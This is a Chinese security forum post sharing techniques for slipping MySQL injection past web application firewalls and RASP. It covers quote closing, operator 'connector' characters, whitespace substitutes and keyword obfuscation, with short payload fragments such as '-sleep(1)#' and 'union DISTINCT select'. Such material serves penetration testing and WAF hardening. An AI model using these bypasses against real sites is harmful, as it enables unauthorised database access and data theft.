-
-
[分享]【TCSEC安全研究院】MySQL注入绕过思路分享
-
发表于: 2023-3-15 11:59 815
-
本文主要结合近期TCSEC安全研究院绕过某rasp和waf的经验,分享绕过waf的思路。MySQL测试版本(8.0.31)。
构造闭合
对于构造闭合,主要是判断一个sql注入能否利用的第一步。只有闭合成功,才能在添加我们自己想执行的sql函数或者语句。
MySQL主要存在以下两种方式:
1 2 | ' # ' - - + |
一个是逃逸字符,一般为单双引号(某些复杂的sql可能还需要括号等来进行闭合),数字型的注入不需要逃逸字符;第二个是注释字符,用来闭合后面的原始字符。
如图所示,选择的字符是输入,对前面的的单引号进行了闭合,对后面的单引号进行了注释。
闭合构造完成之后如果存在一些拦截规则,常规的注入语句是无法获取到数据的,包括sqlmap等,这时就需要进行手工注入。
下面正式介绍分享绕waf的一种思路。
连接字符
我们研究院把这种可直接在后面紧跟着执行函数的字符称为连接字符,如下:
1 2 | 'sleep( 1 ) # -- 执行失败 ' - sleep( 1 ) # -- 执行成功 |
执行失败:
执行成功 :
在这里减号就充当了一个连接字符,后面紧跟着跟着一个函数,并可正常执行该函数,从而最终去执行我们想要执行的SQL函数。
以下是总结的一些连接字符:
以下是总结的一些连接字符:
1 | & > > = < <> ! = < = < = > % MOD * + - / : = = ^ | ~ && || ! and or not div |
以上符号具体对绕waf有什么帮助呢?
简单举个例子:
1 2 3 4 5 | and updataxml(..) - - 被拦截 ^updataxml(..) - - 未拦截 and 1 = 1 - - 被拦截 - 1 + 1 - - 未拦截 ' / 1 - - 未拦截 |
可以看出,主要存在两个waf绕过的可能。一个是在注入最开始,产生布尔值用于判断sql注入是否真的存在。以及可以通过waf不能正确识别这些字符,绕过检测的可能。
加号、减号是一个比较特殊的存在,可进行如下无限叠加,且不会报错。
示例:
1 2 3 | select - 1 ; - - 正常执行 SELECT - - - - - - - - - - - - 1 ; - - 正常执行 SELECT + + + + + + - - - - - - 1 ; - - 正常执行 |
可以看到确实成功执行。
空格绕过
空格(%20)在sql注入中有不可或缺的作用,所以单独提出来分享绕过空格的一些姿势。
这里把空格绕过分为两种绕过,完全替代和部分替代。
完全替代
1 2 3 4 5 6 7 | MySQL支持一些空白字符,这些字符基本是完全等效于空格的 09 0A 0B 0C 0D A0 20 # 可使用各种常见编码尝试进行绕过( 这里的编码主要还得看运行的web容器、中间件等是否会解析该编码) % 20 / u0020 / * * / / * ! * / |
部分替代
主要是一些连接字符、括号等一些字符,如下:
1 2 3 4 5 6 | # 一些连接字符,如 + - 等 '' "" ` @ () |
具体举例如下
1 2 3 4 5 6 | # 均可正常执行 select( 1 ) select'', 1 select - 1 select@ 1 select! 1 |
可以看见均可正常执行
分作两种情况是因为在测试过程中,发现这些字符在一些场景中无法替代空格。下面举例的空格均无法使用这些字符替代,当然可能还存在更多的场景。
示例
1 2 | into outfile limit 1 , 1 |
可以看见均会爆语法错误,从而无法正确执行。
limit是一个比较特殊的情况,一般关键字+数字这种形式均可用运算符号绕过空格,但是limit不行。
正常执行
减号报错,加号当然同样报错
甚至括号报错
关键字绕过
关键字绕过主要分为两种思考方向,混淆绕过和等效替代。通过union select的绕过来对两种思考方向进行一个举例。
假设存在一个waf,union select被进行的拦截,但是空格并未被拦截。或者已经找到替代,还是会被拦截的情况。
混淆绕过
1 2 3 4 5 | union all select - - 利用官方语法混淆 / * 大量脏数据 * / union select UniOn Select - - 大小写 union(select) union % 0dselect |
举个具体例子
在这里直接使用union select被拦截
但是如果使用 union DISTINCT select就成功绕过
该网站后面还对infromation_schema.tables进行过滤,导致无法读表名,最后通过脏数据成功绕过
成功读取数据
之所以会把两种情况分开,主要是由于在对关键字绕过的时候的思考方向分为两种:
一种是对union select的混淆,但本质上还是执行了union select语句,只是做了各种绕waf不能正常识别的union select。
另一种则是找到一些能在一些效能上部分或完全替代该union select关键字的作用,从而进一步进行注入。
该实例是某rasp绕过测试。主要是通过tables 读取flag,从而可直接盲注出flag。具体注入手段可参考上面给出的参考连接,具体的注入手法相同。
总结
本文主要结合绕过waf的经验,以及某rasp绕过的思路总结,对waf绕过整理出一条较为清晰的思路。不是漫无目的的尝试,也不是毫无逻辑可言。把思路整理清楚后,会发现对整个绕过的理解都有新的提升。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课